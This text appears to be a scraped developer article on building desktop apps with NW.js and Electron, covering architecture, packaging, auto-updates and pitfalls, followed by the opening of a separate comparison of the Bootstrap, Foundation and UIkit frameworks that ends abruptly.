Note: node-webkit was later renamed NW.js to make it a bit more generic because it no longer used Node.js or WebKit. Instead of Node.js, it was based on io.js (the Node.js fork) at the time, and Chromium had moved on from WebKit to its own fork, Blink.
So, if you were to download an NW.js app, you would actually be downloading Chromium, plus Node.js, plus the actual app code. Not only does this mean a desktop app can be created using HTML, CSS and JavaScript, but the app would also have access to all of the Node.js APIs (to read and write to disk, for example), and the end user wouldn’t know any better. That’s pretty powerful, but how does it work? Well, first let’s take a look at Chromium.
8 A rough diagram of Chromium’s internals. (Note: this diagram is intentionally very simple; it’s a lot more complex than this.) (View large version9)
There is a main background process, and each tab gets its own process. You might have seen that Google Chrome always has at least two processes in Windows’ task manager or macOS’ activity monitor. I haven’t even attempted to arrange the contents of the main process here, but it contains the Blink rendering engine, the V8 JavaScript engine (which is what Node.js is built on, too, by the way) and some platform APIs that abstract native APIs. Each isolated tab or renderer process has access to the JavaScript engine, CSS parser and so on, but it is completely separate to the main process for fault tolerance. Renderer processes interact with the main process through interprocess communication (IPC).
This is roughly what an NW.js app looks like. It’s basically the same, except that each window has access to Node.js now as well. So, you have access to the DOM and you can require other scripts, node modules you’ve installed from npm, or built-in modules provided by NW.js. By default, your app has one window, and from there you can spawn other windows.
Creating an app is really easy. All you need is an HTML file and a package.json, like you would have when working with Node.js. You can create a default one by running npm init --yes. Typically, a package.json would point a JavaScript file as the “main” file for the module (i.e. using the main property), but with NW.js you need to edit the main property to point to your HTML file.
It’s as easy as that. So, what happened here was that NW.js opened the initial window, loading your HTML file. I know this doesn’t look like much, but it’s up to you add some markup and styles, just like you would in a web app.
You could drop the window bar and chrome if you like, or create your own custom frame. You could have semi to fully transparent windows, hidden windows and more. I took this a bit further recently and resurrected Clippy14 using NW.js. There’s something weirdly satisfying about seeing Clippy on macOS or Windows 10.
So, you get to write HTML, CSS and JavaScript. You can use Node.js to read and write to disk, execute system commands, spawn other executables and more. Hypothetically, you could build a multiplayer roulette game over WebRTC that deletes some of the users’ files randomly, if you wanted.
You get access not only to Node.js’ APIs but to all of npm, which has over 350,000 modules now. For example, auto-launch20 is an open-source module we created at Teamwork.com21 to launch an NW.js or Electron app on startup.
Node.js also has what’s known as “native modules,” which, if you really need to do something a bit lower level, allows you to create modules in C or C++.
To top it all off, NW.js exposes APIs that effectively wrap native APIs, allowing you to integrate closely with the desktop environment. You can have a tray icon, open a file or URL in the default system application, and a lot lot more. All you need to do to trigger a notification is use the HTML5 notification API:
You might recognize GitHub’s text editor, Atom, below. Whether you use it or not, Atom was a game-changer for desktop apps. GitHub started development of Atom in 2013, soon recruited Cheng Zhao, and forked node-webkit as its base, which it later open-sourced under the name atom-shell.
Note: It’s disputed whether Electron is a fork of node-webkit or whether everything was rewritten from scratch. Either way, it’s effectively a fork for the end user because the APIs were almost identical.
In making Atom, GitHub improved on the formula and ironed out a lot of the bugs. In 2015, atom-shell was renamed Electron. Since then it has hit version 1.0, and with GitHub pushing it, it has really taken off.
As well as Atom, other notable projects built with Electron include Slack, Visual Studio Code, Brave, HyperTerm and Nylas, which is really doing some cutting-edge stuff with it. Mozilla Tofino is an interesting one, too. It was an internal project at Mozilla (the company behind Firefox), with the aim of radically improving web browsers. Yeah, a team within Mozilla chose Electron (which is based on Chromium) for this experiment.
But how is it different from NW.js? First of all, Electron is less browser-oriented than NW.js. The entry point for an Electron app is a script that runs in the main process.
The Electron team patched Chromium to allow for the embedding of multiple JavaScript engines that could run at the same time. So, when Chromium releases a new version, they don’t have to do anything.
Note: NW.js hooks into Chromium a little differently, and this was often blamed on the fact NW.js wasn’t quite as good at keeping up with Chromium as Electron was. However, throughout 2016, NW.js has released a new version within 24 hours of each major Chromium release, which the team attributes to an organizational shift.
Back to the main process. Your app hasn’t any window by default, but you can open as many windows as you’d like from the main process, each having its own renderer process, just like NW.js.
So, yeah, the minimum you need for an Electron app is a main JavaScript file (which we’ll leave empty for now) and a package.json that points to it. Then, all you need to do is npm install --save-dev electron and run electron . to launch your app.
Not much will happen, though, because your app hasn’t any window by default. You can open as many windows as you’d like from the main process, each having its own renderer process, just like they’d have in an NW.js app.
Of the built-in modules Electron provides, like the app or BrowserWindow module used in the previous example, most can only be used in either the main or a renderer process. For example, the main process is where, and only where, you can manage your windows, automatic updates and more. You might want a click of a button to trigger something in your main process, though, so Electron comes with built-in methods for IPC. You can basically emit arbitrary events and listen for them on the other side. In this case, you’d catch the click event in the renderer process, emit an event over IPC to the main process, catch it in the main process and finally perform the action.
OK, so Electron has distinct processes, and you have to organize your app slightly differently, but that’s not a big deal. Why are people using Electron instead of NW.js? Well, there’s mindshare. So many related tools and modules are out there as a result of its popularity. The documentation is better. Most importantly, it has fewer bugs and superior APIs.
Electron’s documentation really is amazing, though — that’s worth emphasizing. Take the Electron API Demos app30. It’s an Electron app that interactively demonstrates what you can do with Electron’s APIs. Not only is the API described and sample code provided for creating a new window, for example, but clicking a button will actually execute the code and a new window will open.
If you submit an issue via Electron’s bug tracker, you’ll get a response within a couple of days. I’ve seen three-year-old NW.js bugs, although I don’t hold it against them. It’s tough when an open-source project is written in languages drastically different from the languages known by its users. NW.js and Electron are written mostly in C++ (and a tiny bit of Objective C++) but used by people who write JavaScript. I’m extremely grateful for what NW.js has given us.
Electron ironed out a few of the flaws in the NW.js APIs. For example, you can bind global keyboard shortcuts, which would be caught even if your app isn’t focused. An example API flaw I ran into was that binding to Control + Shift + A in an NW.js app did what you would expect on Windows, but actually bound to Command + Shift + A on a Mac. This was intentional but really weird. There was no way to bind to the Control key. Also, binding to the Command key did bind to the Command key but the Windows key on Windows and Linux as well. The Electron team spotted these problems (when adding shortcuts to Atom I assume) and quickly updated their globalShortcut API so both of these cases work as you’d expect. To be fair, NW.js has since fixed the former but not the latter.
There are a few other differences. For instance, in recent NW.js versions, notifications that were previously native are now Chrome-style ones. These don’t go into the notification centre on Mac OS X or Windows 10, but there are modules on npm that you could use as a workaround if you’d like. If you want to do something interesting with audio or video, use Electron, because some codecs don’t work out of the box with NW.js.
Electron has added a few new APIs as well, more desktop integration, and it has built-in support for automatic updates, but I’ll cover that later.
It feels fine. Sure, it’s not native. Most desktop apps these days don’t look like Windows Explorer or Finder anyway, so users won’t mind or realize that HTML is behind your user interface. You can make it feel more native if you’d like, but I’m not convinced it will make the experience any better. For example, you could prevent the cursor from turning to a hand when the user hovers over a button. That’s how a native desktop app would act, but is that better? There are also projects out there like Photon Kit33, which is basically a CSS framework like Bootstrap, but for macOS-style components.
What about performance? Is it slow or laggy? Well, your app is essentially a web app. It’ll perform pretty much like a web app in Google Chrome. You can create a performant app or a sluggish one, but that’s fine because you already have the skills to analyze and improve performance. One of the best things about your app being based on Chromium is that you get its DevTools. You can debug within the app or remotely, and the Electron team has even created a DevTools extension named Devtron36 to monitor some Electron-specific stuff.
Your desktop app can be more performant than a web app, though. One thing you could do is create a worker window, a hidden window that you use to perform any expensive work. Because it’s an isolated process, any computation or processing going on in that window won’t affect rendering, scrolling or anything else in your visible window(s).
Keep in mind that you can always spawn system commands, spawn executables or drop down to native code if you really need to (you won’t).
Both NW.js and Electron support a wide array of platforms, including Windows, Mac and Linux. Electron doesn’t support Windows XP or Vista; NW.js does. Getting an NW.js app into the Mac App Store is a bit tricky; you’ll have to jump through a few hoops. Electron, on the other hand, comes with Mac App Store-compatible builds, which are just like the normal builds except that you don’t have access to some modules, such as the auto-updater module (which is fine because your app will update via the Mac App Store anyway).
Electron even supports ARM builds, so your app can run on a Chromebook or Raspberry Pi. Finally, Google may be phasing out Chrome Packaged Apps37, but NW.js allows you to port an app over to an NW.js app and still have access the same Chromium APIs.
Even though 32-bit and 64-bit builds are supported, you’ll get away with 64-bit Mac and Windows apps. You will need 32-bit and 64-bit Linux apps, though, for compatibility.
So, let’s say that Electron has won over and you want to ship an Electron app. There’s a nice Node.js module named electron-packager38 that helps with packing your app up into an .app or .exe file. A few similar projects exist, including interactive ones that prompt you step by step. You should use electron-builder7939, though, which builds on top of electron-packager, plus a few other related modules. It generates .dmgs and Windows installers and takes care of the code-signing of your app for you. This is really important. Without it, your app would be labelled as untrusted by operating systems, your app could trigger anti-virus software, and Microsoft SmartScreen might try to block the user from launching your app.
The annoying thing about code-signing is that you have to sign your app on a Mac for Mac and on Windows for Windows. So, if you’re serious about shipping desktop apps, then you’ll need to build on multiple machines for each release.
This can feel a bit too manual or tedious, especially if you’re used to creating for the web. Thankfully, electron-builder was created with automation in mind. I’m talking here about continuous integration tools and services such as Jenkins40, CodeShip41, Travis-CI42, AppVeyor43 (for Windows) and so on. These could run your desktop app build at the press of a button or at every push to GitHub, for example.
NW.js doesn’t have automatic update support, but you’ll have access to all of Node.js, so you can do whatever you want. Open-source modules are out there for it, such as node-webkit-updater44, which handles downloading and replacing your app with a newer version. You could also roll your own custom system if you wanted.
Electron has built-in support for automatic updates, via its autoUpdater8045 API. It doesn’t support Linux, first of all; instead, publishing your app to Linux package managers is recommended. This is common on Linux — don’t worry. The autoUpdater API is really simple; once you give it a URL, you can call the checkForUpdates method. It’s event-driven, so you can subscribe to the update-downloaded event, for example, and once it’s fired, call the restartAndInstall method to install the new version and restart the app. You can listen for a few other events, which you can use to tie the auto-updating functionality into your user interface nicely.
Note: You can have multiple update channels if you want, such as Google Chrome and Google Chrome Canary.
It’s not quite as simple behind the API. It’s based on the Squirrel update framework, which differs drastically between Mac and Windows, which use the Squirrel.Mac46 and Squirrel.Windows47 projects, respectively.
The update code within your Mac Electron app is simple, but you’ll need a server (albeit a simple server). When you call the autoUpdater module’s checkForUpdates method, it will hit your server. What your server needs to do is return a 204 (“No Content”) if there isn’t an update; and if there is, it needs to return a 200 with a JSON containing a URL pointing to a .zip file. Back under the hood of your app (or the client), Squirrel.Mac will know what to do. It’ll go get that .zip, unzip it and fire the appropriate events.
There a bit more (magic) going on in your Windows app when it comes to automatic updates. You won’t need a server, but you can have one if you’d like. You could host the static (update) files somewhere, such as AWS S3, or even have them locally on your machine, which is really handy for testing. Despite the differences between Squirrel.Mac and Squirrel.Windows, a happy medium can be found; for example, having a server for both, and storing the updates on S3 or somewhere similar.
Squirrel.Windows has a couple of nice features over Squirrel.Mac as well. It applies updates in the background; so, when you call restartAndInstall, it’ll be a bit quicker because it’s ready and waiting. It also supports delta updates. Let’s say your app checks for updates and there is one newer version. A binary diff (between the currently installed app and the update) will be downloaded and applied as a patch to the current executable, instead of replacing it with a whole new app. It can even do that incrementally if you’re, say, three versions behind, but it will only do that if it’s worth it. Otherwise, if you’re, say, 15 versions behind, it will just download the latest version in its entirety instead. The great thing is that all of this is done under the hood for you. The API remains really simple. You check for updates, it will figure out the optimal method to apply the update, and it will let you know when it’s ready to go.
Note: You will have to generate those binary diffs, though, and host them alongside your standard updates. Thankfully, electron-builder generates these for you, too.
So, how does making a desktop app differ from making a web app? Let’s look at a few unexpected problems or gains you might come across along the way, some unexpected side effects of APIs you’re used to using on the web, workflow pain points, maintenance woes and more.
Well, the first thing that comes to mind is browser lock-in. It’s like a guilty pleasure. If you’re making a desktop app exclusively, you’ll know exactly which Chromium version all of your users are on. Let your imagination run wild; you can use flexbox, ES6, pure WebSockets, WebRTC, anything you want. You can even enable experimental features in Chromium for your app (i.e. features coming down the line) or tweak settings such as your localStorage allowance. You’ll never have to deal with any cross-browser incompatibilities. This is on top of Node.js’ APIs and all of npm. You can do anything.
Note: You’ll still have to consider which operating system the user is running sometimes, though, but OS-sniffing is a lot more reliable and less frowned upon than browser sniffing.
Another interesting thing is that your app is essentially offline-first. Keep that in mind when creating your app; a user can launch your app without a network connection and your app will run; it will still load the local files. You’ll need to pay more attention to how your app behaves if the network connection is lost while it’s running. You may need to adjust your mindset.
Note: You can load remote URLs if you really want, but I wouldn’t.
One tip I can give you here is not to trust navigator.onLine51 completely. This property returns a Boolean indicating whether or not there’s a connection, but watch out for false positives. It’ll return true if there’s any local connection without validating that connection. The Internet might not actually be accessible; it could be fooled by a dummy connection to a Vagrant virtual machine on your machine, etc. Instead, use Sindre Sorhus’ is-online52 module to double-check; it will ping the Internet’s root servers and/or the favicon of a few popular websites. For example:
const isOnline = require('is-online'); if(navigator.onLine){ // hmm there's a connection, but is the Internet accessible? isOnline().then(online => { console.log(online); // true or false }); } else { // we can trust navigator.onLine when it says there is no connection console.log(false); }
Speaking of local files, there are a few things to be aware of when using the file:// protocol — protocol-less URLs, for one; you can’t use them anymore. I mean URLs that start with // instead of http:// or https://. Typically, if a web app requests //example.com/hello.json, then your browser would expand this to http://example.com/hello.json or to https://example.com/hello.json if the current page is loaded over HTTPS. In our app, the current page would load using the file:// protocol; so, if we requested the same URL, it would expand to file://example.com/hello.json and fail. The real worry here is third-party modules you might be using; authors aren’t thinking of desktop apps when they make a library.
You’d never use a CDN. Loading local files is basically instantaneous. There’s also no limit on the number of concurrent requests (per domain), like there is on the web (with HTTP/1.1 at least). You can load as many as you want in parallel.
A lot of asset generation is involved in creating a solid desktop app. You’ll need to generate executables and installers and decide on an auto-update system. Then, for each update, you’ll have to build the executables again, more installers (because if someone goes to your website to download it, they should get the latest version) and binary diffs for delta updates.
Weight is still a concern. A “Hello, World!” Electron app is 40 MB zipped. Besides the typical advice you follow when creating a web app (write less code, minify it, have fewer dependencies, etc.), there isn’t much I can offer you. The “Hello, World!” app is literally an app containing one HTML file; most of the weight comes from the fact that Chromium and Node.js are baked into your app. At least delta updates will reduce how much is downloaded when a user performs an update (on Windows only, I’m afraid). However, your users won’t be downloading your app on a 2G connection (hopefully!).
You will discover unexpected behavior now and again. Some of it is more obvious than the rest, but a little annoying nonetheless. For example, let’s say you’ve made a music player app that supports a mini-player mode, in which the window is really small and always in front of any other apps. If a user were to click or tap a dropdown (<select/>), then it would open to reveal its options, overflowing past the bottom edge of the app. If you were to use a non-native select library (such as select2 or chosen), though, you’re in trouble. When open, your dropdown will be cut off by the edge of your app. So, the user would see a few items and then nothing, which is really frustrating. This would happen in a web browser, too, but it’s not often the user would resize the window down to a small enough size.
53 Screenshots comparing what happens to a native dropdown versus a non-native one as they hit any edges of an app window (View large version54)
You may or may not know it, but on a Mac, every window has a header and a body. When a window isn’t focused, if you hover over an icon or button in the header, its appearance will reflect the fact that it’s being hovered over. For example, the close button on macOS is gray when the window is blurred but red when you hover over it. However, if you move your mouse over something in the body of the window, there is no visible change. This is intentional. Think about your desktop app, though; it’s Chromium missing the header, and your app is the web page, which is the body of the window. You could drop the native frame and create your own custom HTML buttons instead for minimize, maximize and close. If your window isn’t focused, though, they won’t react if you were to hover over them. Hover styles won’t be applied, and that feels really wrong. To make it worse, if you were to click the close button, for example, it would focus the window and that’s it. A second click would be required to actually click the button and close the app.
To add insult to injury, Chromium has a bug that can mask the problem, making you think it works as you might have originally expected. If you move your mouse fast enough (nothing too unreasonable) from outside the window to an element inside the window, hover styles will be applied to that element. It’s a confirmed bug; applying the hover styles on a blurred window body “doesn’t meet platform expectations,” so it will be fixed. Hopefully, I’m saving you some heartbreak here. You could have a situation in which you’ve created beautiful custom window controls, yet in reality a lot of your users will be frustrated with your app (and will guess it’s not native).
So, you must use native buttons on a Mac. There’s no way around that. For an NW.js app, you must enable the native frame, which is the default anyway (you can disable it by setting window object’s frame property to false in your package.json).
You could do the same with an Electron app. This is controlled by setting the frame property when creating a window; for example, new BrowserWindow({width: 800, height: 600, frame: true}). As the Electron team does, they spotted this issue and added another option as a nice compromise; titleBarStyle. Setting this to hidden will hide the native title bar but keep the native window controls overlaid over the top-left corner of your app. This gets you around the problem of having non-native buttons on Mac, but you can still style the top of the app (and the area behind the buttons) however you like.
Well, you can pretty much use all of the tooling you’d use to create a web app. Your app is just HTML, CSS and JavaScript, right? Plenty of plugins and modules are out there specifically for desktop apps, too, such as Gulp plugins for signing your app, for example (if you didn’t want to use electron-builder). Electron-connect58 watches your files for changes, and when they occur, it’ll inject those changes into your open window(s) or relaunch the app if it was your main script that was modified. It is Node.js, after all; you can pretty much do anything you’d like. You could run webpack inside your app if you wanted to — I’ve no idea why you would, but the options are endless. Make sure to check out awesome-electron59 for more resources.
What’s it like to maintain and live with a desktop app? First of all, the release flow is completely different. A significant mindset adjustment is required. When you’re working on the web app and you deploy a change that breaks something, it’s not really a huge deal (of course, that depends on your app and the bug). You can just roll out a fix. Users who reload or change the page and new users who trickle in will get the latest code. Developers under pressure might rush out a feature for a deadline and fix bugs as they’re reported or noticed. You can’t do that with desktop apps. You can’t take back updates you push out there. It’s more like a mobile app flow. You build the app, put it out there, and you can’t take it back. Some users might not even update from a buggy version to the fixed version. This will make you worry about all of the bugs out there in old versions.
Because a host of different versions of your app are in use, your code will exist in multiple forms and states. Multiple variants of your client (desktop app) could be hitting your API in 10 slightly different ways. So, you’ll need to strongly consider versioning your API, really locking down and testing it well. When an API change is to be introduced, you might not be sure if it’s a breaking change or not. A version released a month ago could implode because it has some slightly different code.
You might receive a few strange bug reports — ones that involve bizarre user account arrangements, specific antivirus software or worse. I had a case in which a user had installed something (or had done something themselves) that messed with their system’s environment variables. This broke our app because a dependency we used for something critical failed to execute a system command because the command could no longer be found. This is a good example because there will be occasions when you’ll have to draw a line. This was something critical to our app, so we couldn’t ignore the error, and we couldn’t fix their machine. For users like this, a lot of their desktop apps would be somewhat broken at best. In the end, we decided to show a tailored error screen to the user if this unlikely error were ever to pop up again. It links to a document explaining why it has occurred and has a step-by-step guide to fix it.
Sure, a few web-specific concerns are no longer applicable when you’re working on a desktop app, such as legacy browsers. You will have a few new ones to take into consideration, though. There’s a 256-character limit on file paths in Windows, for example.
Old versions of npm store dependencies in a recursive file structure. Your dependencies would each get stored in their own directory within a node_modules directory in your project (for example, node_modules/a). If any of your dependencies have dependencies of their own, those grandchild dependencies would be stored in a node_modules within that directory (for example, node_modules/a/node_modules/b). Because Node.js and npm encourage small single-purpose modules, you could easily end up with a really long path, like path/to/your/project/node_modules/a/node_modules/b/node_modules/c/.../n/index.js.
Note: Since version 3, npm flattens out the dependency tree as much as possible. However, there are other causes for long paths.
We had a case in which our app wouldn’t launch at all (or would crash soon after launching) on certain versions of Windows due to an exceeding long path. This was a major headache. With Electron, you can put all of your app’s code into an asar archive60, which protects against path length issues but has exceptions and can’t always be used.
We created a little Gulp plugin named gulp-path-length61, which lets you know whether any dangerously long file paths are in your app. Where your app is stored on the end user’s machine will determine the true length of the path, though. In our case, our installer will install it to C:Users<username>AppDataRoaming. So, when our app is built (locally by us or by a continuous integration service), gulp-path-length is instructed to audit our files as if they’re stored there (on the user’s machine with a long username, to be safe).
Because all of the automatic updates handling is done within the app, you could have an uncaught exception that crashes the app before it even gets to check for an update. Let’s say you discover the bug and release a new version containing a fix. If the user launches the app, an update would start downloading, and then the app would die. If they were to relaunch app, the update would start downloading again and… crash. So, you’d have to reach out to all of your users and let them know they’ll need to reinstall the app. Trust me, I know. It’s horrible.
You’ll probably want to track usage of the app and any errors that occur. First of all, Google Analytics won’t work (out of the box, at least). You’ll have to find something that doesn’t mind an app that runs on file:// URLs. If you’re using a tool to track errors, make sure to lock down errors by app version if the tool supports release-tracking. For example, if you’re using Sentry62 to track errors, make sure to set the release property when setting up your client63, so that errors will be split up by app version. Otherwise, if you receive a report about an error and roll out a fix, you’ll keep on receiving reports about the error, filling up your reports or logs with false positives. These errors will be coming from people using older versions.
Electron has a crashReporter64 module, which will send you a report any time the app completely crashes (i.e. the entire app dies, not for any old error thrown). You can also listen for events indicating that your renderer process has become unresponsive.
Be extra-careful when accepting user input or even trusting third-party scripts, because a malicious individual could have a lot of fun with access to Node.js. Also, never accept user input and pass it to a native API or command without proper sanitation.
Don’t trust code from vendors either. We had a problem recently with a third-party snippet we had included in our app for analytics, provided by company X. The team behind it rolled out an update with some dodgy code, thereby introducing a fatal error in our app. When a user launched our app, the snippet grabbed the newest JavaScript from their CDN and ran it. The error thrown prevented anything further from executing. Anyone with the app already running was unaffected, but if they were to quit it and launch it again, they’d have the problem, too. We contacted X’s support team and they promptly rolled out a fix. Our app was fine again once our users restarted it, but it was scary there for a while. We wouldn’t have been able to patch the problem ourselves without forcing affected users to manually download a new version of the app (with the snippet removed).
How can you mitigate this risk? You could try to catch errors, but you’ve no idea what they company X might do in its JavaScript, so you’re better off with something more solid. You could add a level of abstraction. Instead of pointing directly to X’s URL from your <script>, you could use Google Tag Manager65 or your own API to return either HTML containing the <script> tags or a single JavaScript file containing all of your third-party dependencies somehow. This would enable you to change which snippets get loaded (by tweaking Google Tag Manager or your API endpoint) without having to roll out a new update.
However, if the API no longer returned the analytics snippet, the global variable created by the snippet would still be there in your code, trying to call undefined functions. So, we haven’t solved the problem entirely. Also, this API call would fail if a user launches the app without a connection. You don’t want to restrict your app when offline. Sure, you could use a cached result from the last time the request succeeded, but what if there was a bug in that version? You’re back to the same problem.
Another solution would be to create a hidden window and load a (local) HTML file there that contains all of your third-party snippets. So, any global variables that the snippets create would be scoped to that window. Any errors thrown would be thrown in that window and your main window(s) would be unaffected. If you needed to use those APIs or global variables in your main window(s), you’d do this via IPC now. You’d send an event over IPC to your main process, which would then send it onto the hidden window, and if it was still healthy, it would listen for the event and call the third-party function. That would work.
This brings us back to security. What if someone malicious at company X were to include some dangerous Node.js code in their JavaScript? We’d be rightly screwed. Luckily, Electron has a nice option to disable Node.js for a given window, so it simply wouldn’t run:
NW.js doesn’t have any built-in support for testing. But, again, you have access to Node.js, so it’s technically possible. There is a way to test stuff such as button-clicking within the app using Chrome Remote Interface66, but it’s tricky. Even then, you can’t trigger a click on a native window control and test what happens, for example.
The Electron team has created Spectron67 for automated testing, and it supports testing native controls, managing windows and simulating Electron events. It can even be run in continuous integration builds.
var Application = require('spectron').Application var assert = require('assert') describe('application launch', function () { this.timeout(10000) beforeEach(function () { this.app = new Application({ path: '/Applications/MyApp.app/Contents/MacOS/MyApp' }) return this.app.start() }) afterEach(function () { if (this.app && this.app.isRunning()) { return this.app.stop() } }) it('shows an initial window', function () { return this.app.client.getWindowCount().then(function (count) { assert.equal(count, 1) }) }) })
Because your app is HTML, you could easily use any tool to test web apps, just by pointing the tool at your static files. However, in this case, you’d need to make sure the app can run in a web browser without Node.js.
It’s not necessarily about desktop or web. As a web developer, you have all of the tools required to make an app for either environment. Why not both? It takes a bit more effort, but it’s worth it. I’ll mention a few related topics and tools, which are complicated in their own right, so I’ll keep just touch on them.
First of all, forget about “browser lock-in,” native WebSockets, etc. The same goes for ES6. You can either revert to writing plain old ES5 JavaScript or use something like Babel68 to transpile your ES6 into ES5, for web use.
You also have requires throughout your code (for importing other scripts or modules), which a browser won’t understand. Use a module bundler that supports CommonJS (i.e. Node.js-style requires), such as Rollup69, webpack70 or Browserify71. When making a build for the web, a module bundler will run over your code, traverse all of the requires and bundle them up into one script for you.
Any code using Node.js or Electron APIs (i.e. to write to disk or integrate with the desktop environment) should not be called when the app is running on the web. You can detect this by checking whether process.version.nwjs or process.versions.electron exists; if it does, then your app is currently running in the desktop environment.
Even then, you’ll be loading a lot of redundant code in the web app. Let’s say you have a require guarded behind a check like if(app.isInDesktop), along with a big chunk of desktop-specific code. Instead of detecting the environment at runtime and setting app.isInDesktop, you could pass true or false into your app as a flag at buildtime (for example, using the envify72 transform for Browserify). This will aide your module bundler of choice when it’s doing its static analysis and tree-shaking (i.e. dead-code elimination). It will now know whether app.isInDesktop is true. So, if you’re running your web build, it won’t bother going inside that if statement or traversing the require in question.
There’s that release mindset again; it’s challenging. When you’re working on the web, you want to be able to roll out changes frequently. I believe in continually delivering small incremental changes that can be rolled back quickly. Ideally, with enough testing, an intern can push a little tweak to your master branch, resulting in your web app being automatically tested and deployed.
As we covered earlier, you can’t really do this with a desktop app. OK, I guess you technically could if you’re using Electron, because electron-builder can be automated and, so, can spectron tests. I don’t know anyone doing this, and I wouldn’t have enough faith to do it myself. Remember, broken code can’t be taken back, and you could break the update flow. Besides, you don’t want to deliver desktop updates too often anyway. Updates aren’t silent, like they are on the web, so it’s not very nice for the user. Plus, for users on macOS, delta updates aren’t supported, so users would be downloading a full new app for each release, no matter how small a tweak it has.
You’ll have to find a balance. A happy medium might be to release all fixes to the web as soon as possible and release a desktop app weekly or monthly — unless you’re releasing a feature, that is. You don’t want to punish a user because they chose to install your desktop app. Nothing’s worse than seeing a press release for a really cool feature in an app you use, only to realize that you’ll have to wait a while longer than everyone else. You could employ a feature-flags API to roll out features on both platforms at the same time, but that’s a whole separate topic. I first learned of feature flags from “Continuous Delivery: The Dirty Details73,” a talk by Etsy’s VP of Engineering, Mike Brittain.
So, there you have it. With minimal effort, you can add “desktop app developer” to your resumé. We’ve looked at creating your first modern desktop app, packaging, distribution, after-sales service and a lot more. Hopefully, despite the pitfalls and horror stories I’ve shared, you’ll agree that it’s not as scary as it seems. You already have what it takes. All you need to do is look over some API documentation. Thanks to a few new powerful APIs at your disposal, you can get the most value from your skills as a web developer. I hope to see you around (in the NW.js or Electron community) soon.
In 2017, the question is not whether we should use a responsive design framework. Increasingly, we are using them. The question is which framework should we be using, and why, and whether we should use the whole framework or just parts of it.
With dozens of responsive design frameworks available to download, many web developers appear to be unaware of any except for Bootstrap. Like most of web development, responsive design frameworks are not one-size-fits-all. Let’s compare the latest versions of Bootstrap, Foundation and UIkit for their similarities and differences.
Three years ago, I wrote an article for Smashing Magazine, “Responsive Design Frameworks: Just Because You Can, Should You?5” In the article, I argued that responsive design frameworks should be used by professionals under the right circumstances and for appropriate projects. Custom design still has its place, of course. However, a fully customized approach is not appropriate to every website, under every timeline, every budget and every set of browser support guidelines.
Since that time, the industry has evolved at its typical breakneck pace. Sass, the CSS preprocessor, has become standard to most workflows. We’re more accustomed to adjusting Sass variables to customize existing code. We confidently work with mixins, building our own styles. We’ve even got Sass formulas for generating color schemes6 that we can incorporate in our work.
Workflows themselves have become standard, making use of technologies such as Node.js, Bower, Grunt, Gulp, Git and more. Old browsers continue to fall away, allowing front-end developers to confidently use more features of HTML5 and CSS3, with fewer worries about significant cross-browser compatibility issues.
Revisiting the 131 comments on my 2014 article, I saw readers suggesting a number of approaches to making use of responsive design frameworks:
Some suggested using part of a framework with your own custom code.
Several developers plugged their own framework, either written from scratch or with code forked from another framework.
Several developers suggested frameworks that I did not cover, including Susy, Singularity, Breakpoint, UIkit, Pattern Lab, Toolkit, Pure, Cardinal, Skeleton, ResponsiveBP and many others.
All of these are legitimate approaches. Hundreds of frameworks are available. Many who have been in the business for some time have a favorite, whether it’s an established framework or one they’ve created.
However, increasingly, I see students, clients and web development firms defaulting to Bootstrap as their starting point, often with little critical evaluation of whether it’s an appropriate solution to the task at hand. Clients hire me for training in Bootstrap, for example, and then ask how they can add functionality that’s native to Foundation. When I ask, “Why not use Foundation?,” they tell me they’ve never heard of it and didn’t know there are options beyond Bootstrap for responsive design.
There is no way I could review the dozens, if not hundreds, of responsive design frameworks. However, given that Bootstrap is the 500-pound gorilla of responsive design, I’ve chosen two other frameworks to evaluate compared to Bootstrap7: Foundation8 and GetUIkit9. I’ve chosen these three frameworks based on the characteristics they share, in that they are full-service responsive design frameworks. They offer grid systems, SCSS with piles of variables and mixins for customizations, basic styling of nearly all HTML5 tags, prestyled components such as badges, labels and cards, and piles of JavaScript-based features such as dropdown menus, accordions, tabs, image galleries, image carousels and so much more. All three frameworks offer ways of reducing file sizes to just those styles and functionalities needed to work on a given website. They are all in active development.
Again, I am not suggesting that these are the only responsive design frameworks, nor am I implying that they are the best frameworks. These are, however, popular frameworks with piles of features out of the box, making them attractive to many development firms wanting to work with “Bootstrap or a close equivalent.”
Required CSS (1 minified, 1 standard, both with .map files); required JavaScript (1 minified, 1 standard). Former theme is incorporated in Sass files, activated by variables. (Glyphicons are not distributed with Bootstrap 4.) Also contains two additional sets of CSS files (1 minified, 1 standard, both with .map files): bootstrap-grid, which appears to be a flexbox-based grid system, possibly redundant at this point; and bootstrap-reboot, based on normalize.css. A CDN is available for standard distribution files.
Four distributions12: Complete, Essential, Custom, Sass. Complete version includes compiled CSS (minified and not), plus compiled JavaScript, including individual vendor files. Essential includes typography, grid, Reveal, and Interchange only. Custom can be customized on the website for downloading, and the developer can choose elements to include and change a few variables. The Sass version can only be downloaded using the command line, Foundation CLI or Yeti Launcher. A CDN is available for standard distribution files.
Distribution includes a single minified CSS file, a single minified JavaScript file and 26 SVG graphics. LESS, CSS, and JavaScript source files are available via Bower or npm. A CDN is available for standard distribution files.
Additional JavaScript libraries required?
Yes, you must download or link to a CDN separately: jQuery 3.1.1 Slim, Tether 1.4.0. Files are linked to just before end of body element.
All dependencies are bundled in the distribution. jQuery is required, but it is part of the distribution. Files are linked to just before end of body element.
All dependencies are bundled in the distribution. jQuery is required, but it is part of the distribution. Linking to files in the head is recommended.
Browser support
Latest versions of: Chrome (macOS, Windows, iOS and Android), Safari (macOS and iOS), Firefox (macOS, Windows, Android, iOS) (latest version of Firefox plus Extended Support Release), Edge (Windows, Windows 10 Mobile), Opera (macOS, Windows), Android Browser & WebView 5.0+, Windows 10 Mobile, Internet Explorer 10+
Last two versions of Chrome, Firefox, Safari, Opera, mobile Safari, Internet Explorer mobile, as well as Internet Explorer 9+ and Android browser 2.3+
Latest versions of Chrome, Firefox, Opera, Edge, Safari 7.1+, Internet Explorer 10+, No mention of mobile-specific browsers
Internet Explorer support
Internet Explorer 10 and higher (Bootstrap 3 recommended for Internet Explorer 8 and 9)
Internet Explorer 9 and higher
Internet Explorer 10 and higher
Other browser support notes
“Unofficially, Bootstrap should look and behave well enough in Chromium and Chrome for Linux, Firefox for Linux, and Internet Explorer 9, though they are not officially supported.” (source13)
“JavaScript: Our plugins use a number of handy ECMAScript 5 features that aren’t supported in IE8.” (source14)
License and copyright
Code and documentation copyright (2011 to 2017) of the Bootstrap authors and Twitter, Inc. Code released under the MIT License. Docs released under Creative Commons.
MIT license, no mention of copyright
MIT license, copyright of YOOtheme GmbH
Build tools
